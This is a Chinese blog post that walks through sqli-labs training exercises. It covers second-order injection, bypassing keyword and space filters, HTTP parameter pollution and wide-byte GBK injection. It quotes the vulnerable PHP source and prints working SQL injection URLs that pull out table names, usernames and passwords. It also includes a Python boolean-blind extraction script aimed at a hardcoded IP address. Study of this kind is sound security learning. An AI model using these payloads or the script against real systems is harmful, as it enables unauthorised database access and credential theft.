<!DOCTYPE html>



  


<html class="theme-next muse use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="sql注入,">










<meta name="description" content="0x01 二次注入 啥是二次注入：  简单的说，二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。 网站对我们输入的一些重要的关键字进行了转义，但是这些我们构造的语句已经写进了数据库，可以在没有被转义的地方使用 可能每一次注入都不构成漏洞，但是如果一起用就可能造成注入。  实例; sqli-labs 24  1 注册新用户 用户名为admin‘#，密码1">
<meta name="keywords" content="sql注入">
<meta property="og:type" content="article">
<meta property="og:title" content="sql注入-基于sqli-labs（advanced injection）">
<meta property="og:url" content="https://srat1999.top/2019/08/08/sql注入-基于sqli-labs（advanced-injection）/index.html">
<meta property="og:site_name" content="Stay hungry stay foolish">
<meta property="og:description" content="0x01 二次注入 啥是二次注入：  简单的说，二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。 网站对我们输入的一些重要的关键字进行了转义，但是这些我们构造的语句已经写进了数据库，可以在没有被转义的地方使用 可能每一次注入都不构成漏洞，但是如果一起用就可能造成注入。  实例; sqli-labs 24  1 注册新用户 用户名为admin‘#，密码1">
<meta property="og:locale" content="zh-Hans">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-45-31.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-46-17.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-46-51.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-50-10.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-51-01.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-55-59.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_21-39-30.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_21-58-53.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-01-43.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-14-06.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-15-03.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_21-16-37.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-16-05.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-16-27.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-21-24.png">
<meta property="og:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-20-58.png">
<meta property="og:updated_time" content="2019-11-30T04:26:37.171Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="sql注入-基于sqli-labs（advanced injection）">
<meta name="twitter:description" content="0x01 二次注入 啥是二次注入：  简单的说，二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。 网站对我们输入的一些重要的关键字进行了转义，但是这些我们构造的语句已经写进了数据库，可以在没有被转义的地方使用 可能每一次注入都不构成漏洞，但是如果一起用就可能造成注入。  实例; sqli-labs 24  1 注册新用户 用户名为admin‘#，密码1">
<meta name="twitter:image" content="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-45-31.png">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://srat1999.top/2019/08/08/sql注入-基于sqli-labs（advanced-injection）/">





  <title>sql注入-基于sqli-labs（advanced injection） | Stay hungry stay foolish</title>
  








<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Stay hungry stay foolish</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle">srat1999's blog</p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            标签
          </a>
        </li>
      
        
        <li class="menu-item menu-item-categories">
          <a href="/categories/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
            
            分类
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://srat1999.top/2019/08/08/sql注入-基于sqli-labs（advanced-injection）/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="srat1999">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/uploads/pikachu.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Stay hungry stay foolish">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">sql注入-基于sqli-labs（advanced injection）</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-08-08T14:30:58+08:00">
                2019-08-08
              </time>
            

            

            
          </span>

          
            <span class="post-category">
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/靶场/" itemprop="url" rel="index">
                    <span itemprop="name">靶场</span>
                  </a>
                </span>

                
                
              
            </span>
          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1.5k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  7
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h2 id="0x01-二次注入"><a href="#0x01-二次注入" class="headerlink" title="0x01 二次注入"></a>0x01 二次注入</h2><p>啥是二次注入：</p>
<blockquote>
<p>简单的说，二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。<br>网站对我们输入的一些重要的关键字进行了转义，但是这些我们构造的语句已经写进了数据库，可以在没有被转义的地方使用<br>可能每一次注入都不构成漏洞，但是如果一起用就可能造成注入。</p>
</blockquote>
<p>实例; sqli-labs 24</p>
<p>1 注册新用户 用户名为admin‘#，密码123</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-45-31.png" alt></p>
<p>2 用刚才的 名字登陆。</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-46-17.png" alt></p>
<p>3 修改密码</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-46-51.png" alt></p>
<p>4 修改成功</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-50-10.png" alt></p>
<p>5 登陆管理员</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-51-01.png" alt></p>
<p>源码分析：</p>
<p>在创建user时，对用户输入进行过滤：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//$username=  $_POST['username'] ;</span></span><br><span class="line">	$username=  mysql_escape_string($_POST[<span class="string">'username'</span>]) ;</span><br><span class="line">	$pass= mysql_escape_string($_POST[<span class="string">'password'</span>]);</span><br><span class="line">	$re_pass= mysql_escape_string($_POST[<span class="string">'re_password'</span>]);</span><br></pre></td></tr></table></figure>
<p>引号经过转义进入数据库。</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-55-59.png" alt></p>
<p>再到修改密码模块：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Validating the user input........</span></span><br><span class="line">	$username= $_SESSION[<span class="string">"username"</span>];</span><br><span class="line">	$curr_pass= mysql_real_escape_string($_POST[<span class="string">'current_password'</span>]);</span><br><span class="line">	$pass= mysql_real_escape_string($_POST[<span class="string">'password'</span>]);</span><br><span class="line">	$re_pass= mysql_real_escape_string($_POST[<span class="string">'re_password'</span>]);</span><br><span class="line">	</span><br><span class="line">	<span class="keyword">if</span>($pass==$re_pass)</span><br><span class="line">	&#123;	</span><br><span class="line">		$sql = <span class="string">"UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "</span>;</span><br></pre></td></tr></table></figure>
<p>对passwd等一系列输入做了转义。但并没有对从session得到的username进行转义，此时从session得到的username是包含我们之前的恶意单引号的，所以此时修改密码的sql语句变成：</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">users</span> <span class="keyword">SET</span> <span class="keyword">PASSWORD</span>=<span class="string">'$pass'</span> <span class="keyword">where</span> username=<span class="string">'admin'</span><span class="comment">#</span></span><br></pre></td></tr></table></figure>
<p>实现注入。</p>
<h2 id="0x02-OR-、AND-、空格-等的过滤绕过"><a href="#0x02-OR-、AND-、空格-等的过滤绕过" class="headerlink" title="0x02 OR 、AND 、空格 等的过滤绕过"></a>0x02 OR 、AND 、空格 等的过滤绕过</h2><blockquote>
<p>绕过 or 和 and 过滤。 一般性提供以下几种思路：<br>（1） 大小写变形 Or,OR,oR<br>（2） 编码， hex， urlencode<br>（3） 添加注释/<em>or</em>/<br>（4） 利用符号 and=&amp;&amp; or=|| </p>
<p>空格的绕过：</p>
<table>
<thead>
<tr>
<th>%09</th>
<th>TAB 键（水平）</th>
</tr>
</thead>
<tbody>
<tr>
<td>%0a</td>
<td>新建一行</td>
</tr>
<tr>
<td>%0c</td>
<td>新的一页</td>
</tr>
<tr>
<td>%0d</td>
<td>return 功能</td>
</tr>
<tr>
<td>%0b</td>
<td>TAB 键（垂直）</td>
</tr>
<tr>
<td>%a0</td>
<td>空格</td>
</tr>
</tbody>
</table>
</blockquote>
<p>Less-26</p>
<p>这里对空格进行过滤，看一下具体过滤方法：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">blacklist</span><span class="params">($id)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	$id= preg_replace(<span class="string">'/or/i'</span>,<span class="string">""</span>, $id);			<span class="comment">//strip out OR (non case sensitive)</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/and/i'</span>,<span class="string">""</span>, $id);		<span class="comment">//Strip out AND (non case sensitive)</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/[\/\*]/'</span>,<span class="string">""</span>, $id);		<span class="comment">//strip out /*</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/[--]/'</span>,<span class="string">""</span>, $id);		<span class="comment">//Strip out --</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/[#]/'</span>,<span class="string">""</span>, $id);			<span class="comment">//Strip out #</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/[\s]/'</span>,<span class="string">""</span>, $id);		<span class="comment">//Strip out spaces</span></span><br><span class="line">	$id= preg_replace(<span class="string">'/[\/\\\\]/'</span>,<span class="string">""</span>, $id);		<span class="comment">//Strip out slashes</span></span><br><span class="line">	<span class="keyword">return</span> $id;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>其实可以通过%a0来绕过空格过滤。但我无论在Linux还是在windows环境都无法解析。所以通过报错注入：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1/sqli-labs/Less-26/</span><br><span class="line">?id=1&apos;|| updatexml(null,concat(&apos;!&apos;,(select(database())),&apos;!&apos;),1)||&apos;1&apos;=&apos;1</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_21-39-30.png" alt></p>
<p>看到可以通过加括号来减少空格的使用。</p>
<p>表名：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-26/?id=0&apos;||updatexml(1,concat(&apos;$&apos;,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=&apos;security&apos;))),0)||&apos;1&apos;=&apos;1</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_21-58-53.png" alt></p>
<p>users列名：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-26/?id=0&apos;||updatexml(1,concat(&apos;$&apos;,(select(group_concat(column_name))from(information_schema.columns)where((table_name=&apos;users&apos;)%26(table_schema=&apos;security&apos;)))),0)||&apos;1&apos;=&apos;1</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-01-43.png" alt></p>
<p>username值：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-26/?id=0&apos;||updatexml(1,concat(&apos;$&apos;,(select(group_concat(username))from(users)),&apos;$&apos;),1)||&apos;1&apos;=&apos;1</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-14-06.png" alt></p>
<p>password值：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-26/?id=0%27||updatexml(1,concat(%27$%27,(select(group_concat(password))from(users)),%27$%27),1)||%271%27=%271</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_22-15-03.png" alt></p>
<p>这里看到一个基于bool注入的脚本解26题，如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getPayload</span><span class="params">(char_index, ascii)</span>:</span></span><br><span class="line">    <span class="comment"># 系统表中数据</span></span><br><span class="line">    info_database_name = <span class="string">"infoorrmation_schema"</span></span><br><span class="line">    info_table_name = <span class="string">"schemata"</span> <span class="comment"># schemata / tables / columns</span></span><br><span class="line">    info_column_name = <span class="string">"schema_name"</span> <span class="comment"># schema_name / table_name / column_name</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 注入表中数据</span></span><br><span class="line">    database_name = <span class="string">"security"</span></span><br><span class="line">    table_name = <span class="string">"users"</span></span><br><span class="line">    column_name = [<span class="string">"id"</span>,<span class="string">"username"</span>,<span class="string">"password"</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 附加url</span></span><br><span class="line">    start_str = <span class="string">"1'%26%26"</span></span><br><span class="line">    end_str = <span class="string">"||'1'='"</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 连接select</span></span><br><span class="line">    where_str = <span class="string">""</span></span><br><span class="line">    <span class="comment">#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"</span></span><br><span class="line">    select_str = <span class="string">"select(group_concat("</span>+info_column_name+<span class="string">"))from("</span>+info_database_name+<span class="string">"."</span>+info_table_name+<span class="string">")"</span>+where_str</span><br><span class="line">    <span class="comment">#select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 连接payload</span></span><br><span class="line">    sqli_str = <span class="string">"(ascii(mid(("</span>+select_str+<span class="string">"),"</span>+str(char_index)+<span class="string">",1))&gt;"</span>+str(ascii)+<span class="string">")"</span></span><br><span class="line">    payload = start_str + sqli_str + end_str</span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">execute</span><span class="params">(char_index, ascii)</span>:</span></span><br><span class="line">    <span class="comment"># 连接url</span></span><br><span class="line">    url = <span class="string">"http://129.211.73.107/sqli-labs/Less-26/?id="</span></span><br><span class="line">    exec_url = url + getPayload(char_index, ascii)</span><br><span class="line">    <span class="comment"># print(exec_url)</span></span><br><span class="line">    <span class="comment"># 检查回显</span></span><br><span class="line">    echo = <span class="string">"Your Login name"</span></span><br><span class="line">    content = requests.get(exec_url).text</span><br><span class="line">    print(content)</span><br><span class="line">    <span class="keyword">if</span> echo <span class="keyword">in</span> content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dichotomy</span><span class="params">(char_index, left, right)</span>:</span></span><br><span class="line">    <span class="keyword">while</span> left &lt;= right:</span><br><span class="line">        <span class="comment"># 二分法</span></span><br><span class="line">        ascii = int((left+right)/<span class="number">2</span>)</span><br><span class="line">        <span class="keyword">if</span> execute(str(char_index+<span class="number">1</span>), str(ascii)):</span><br><span class="line">            left = ascii+<span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            right = ascii</span><br><span class="line">        <span class="comment"># 结束二分</span></span><br><span class="line">        <span class="keyword">if</span> left == right:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> chr(left)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    <span class="keyword">for</span> len <span class="keyword">in</span> range(<span class="number">1024</span>): <span class="comment"># 查询结果的长度</span></span><br><span class="line">        char = dichotomy(len, <span class="number">30</span>, <span class="number">126</span>) </span><br><span class="line">         <span class="keyword">if</span> ord(char) == <span class="number">31</span>: <span class="comment"># 单条查询结果已被遍历</span></span><br><span class="line">             <span class="keyword">break</span></span><br><span class="line">        sys.stdout.write(char)</span><br><span class="line">        sys.stdout.flush()</span><br><span class="line">    sys.stdout.write(<span class="string">"\r\n"</span>)</span><br><span class="line">    sys.stdout.flush()</span><br></pre></td></tr></table></figure>
<h2 id="0x03-HPP-http参数污染"><a href="#0x03-HPP-http参数污染" class="headerlink" title="0x03 HPP(http参数污染)"></a>0x03 HPP(http参数污染)</h2><p>不同的web服务器对参数的处理是不同的，参考如下：</p>
<table>
<thead>
<tr>
<th>Web服务器</th>
<th>参数获取函数</th>
<th>获取到的参数</th>
</tr>
</thead>
<tbody>
<tr>
<td>PHP/Apache</td>
<td>$_GET(“par”)</td>
<td>Last</td>
</tr>
<tr>
<td>JSP/Tomcat</td>
<td>Request.getParameter(“par”)</td>
<td>First</td>
</tr>
<tr>
<td>Perl(CGI)/Apache</td>
<td>Param(“par”)</td>
<td>First</td>
</tr>
<tr>
<td>Python/Apache</td>
<td>Getvalue(“par”)</td>
<td>All(List)</td>
</tr>
<tr>
<td>ASP/IIS</td>
<td>Request.QueryString(“par”)</td>
<td>All(comma-delimited string)</td>
</tr>
</tbody>
</table>
<p>可以看到php/Apache默认得到最后一个参数。而Jsp/Tomcat取得第一个参数。在这种架构中，如果JSP/Tomcat充当waf对参数进行过滤处理后发送到php服务器执行，就会产生一些问题。即Less-29：</p>
<p>看一下这个url：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:8080/sqli-labs/Less-29/index.jsp?id=1&amp;id=-1%27%20union%20select%201,database(),2--+</span><br></pre></td></tr></table></figure>
<p>这里提交了重复提交两次id参数。根据上面的参数解析规则，JSP默认获取第一个参数，到后台进行过滤：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">String rex = <span class="string">"^\\d+$"</span>;<span class="comment">//正则限定只能为数字</span></span><br><span class="line">Boolean match=id.matches(rex);</span><br></pre></td></tr></table></figure>
<p>发现“id=1”没有问题。此时将参数发送到PHP执行：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">URL sqli_labs = <span class="keyword">new</span> URL(<span class="string">"http://localhost/sqli-labs/Less-29/index.php?"</span>+ qs);</span><br></pre></td></tr></table></figure>
<p>而php截取最后一个参数得到我们构造的payload，注入成功：</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_21-16-37.png" alt></p>
<p>接下来就能肆意玩耍了。。。</p>
<p>0x04 宽字节注入</p>
<p>原理参考这里<a href="https://blog.csdn.net/niexinming/article/details/49109683" target="_blank" rel="noopener">宽字节注入</a>。</p>
<p>简单来说就是在我们注入的过程中使用的引号会被服务器默认加上\进行转义，这时我们的‘号就无法起作用了。而如果能够通过特殊的手段使得\失效，不能对’进行转义，很有可能会注入成功。我们可以在引号前添加特殊字符使得使用GBK编码的数据库将我们的特殊字符和\解析为汉字，自然我们的引号就不会失效了。</p>
<h3 id="看Less32："><a href="#看Less32：" class="headerlink" title="看Less32："></a>看Less32：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-32/?id=-1%df&apos;%20union%20select%201,2,database()--+</span><br></pre></td></tr></table></figure>
<p>这里%df\会被解析成一个汉字，而单引号则没有被转义可以执行。</p>
<p>后台转义函数：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_addslashes</span><span class="params">($string)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $string = preg_replace(<span class="string">'/'</span>. preg_quote(<span class="string">'\\'</span>) .<span class="string">'/'</span>, <span class="string">"\\\\\\"</span>, $string);          <span class="comment">//escape any backslash</span></span><br><span class="line">    $string = preg_replace(<span class="string">'/\'/i'</span>, <span class="string">'\\\''</span>, $string);                               <span class="comment">//escape single quote with a backslash</span></span><br><span class="line">    $string = preg_replace(<span class="string">'/\"/'</span>, <span class="string">"\\\""</span>, $string);                                <span class="comment">//escape double quote with a backslash</span></span><br><span class="line">      </span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> $string;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Less34："><a href="#Less34：" class="headerlink" title="Less34："></a>Less34：</h3><p>post型宽字节注入可以通过抓包来进行：</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-16-05.png" alt></p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-16-27.png" alt></p>
